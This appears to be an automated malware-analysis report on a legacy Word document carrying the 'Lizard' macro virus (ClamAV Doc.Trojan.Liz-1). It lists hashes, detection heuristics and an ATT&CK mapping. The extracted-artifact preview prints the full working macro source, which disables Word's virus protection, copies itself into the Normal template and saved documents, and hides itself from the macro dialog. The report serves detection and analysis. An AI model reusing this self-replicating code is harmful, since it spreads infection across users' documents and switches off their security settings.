Office (OLE) malware analysis — malicious · a286f5cd64337b60

MALICIOUS

Office (OLE)

28.5 KB Created: 1998-08-23 19:35:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: b93e2776a8f1954d7deb1390d1d995bb SHA-1: 5084f514592b26f9cd284b493fc318c9d3cf4e53 SHA-256: a286f5cd64337b6004d2fffee51261b4f51be2255293de174c6d887ae333257a

248 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic

The sample is a legacy Word document containing a WordBasic macro named 'Lizard'. The AutoOpen macro attempts to disable macro security and spread itself to the Normal template. It also includes a message box indicating a 'good Lizard' and attempts to export and re-import the macro, suggesting a self-propagation mechanism. The presence of legacy macro markers and the 'Lizard' name strongly suggest a known type of macro-based malware.

Heuristics 5

ClamAV: Doc.Trojan.Liz-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Liz-1
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
Options.VirusProtection = False
```
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS

OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1445 bytes
SHA-256: `ee9139b2971a03675c9fe634de7994784de23af179943c36ba99bcfabf86aec2`
Detection ClamAV: Doc.Trojan.Liz-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "Lizard" Sub AutoOpen() Application.EnableCancelKey = wdCancelDisabled WordBasic.DisableAutoMacros 0 Options.VirusProtection = False Options.SaveNormalPrompt = False For i = 1 To WordBasic.CountMacros(0, 0) If WordBasic.[Macroname$](i, 0) = "Lizard" Then MsgBox "a good Lizard is living here 'written by Lord Arz" End If Next i Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "Lizard", wdOrganizerObjectProjectItems End Sub Sub FileSaveAs() Dialogs(wdDialogFileSaveAs).Show If ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate Then ActiveDocument.SaveAs FileFormat:=wdFormatTemplate Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument, "Lizard", wdOrganizerObjectProjectItems ActiveDocument.Save End Sub Sub ToolsMacro() NormalTemplate.VBProject.VBComponents("Lizard").Export ("Lizard.bas") Application.OrganizerDelete NormalTemplate.FullName, "Lizard", wdOrganizerObjectProjectItems While Dialogs(wdDialogToolsMacro).Display Wend NormalTemplate.VBProject.VBComponents.import ("Lizard.bas") Kill "Lizard.bas" End Sub Sub ViewVBCode() End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.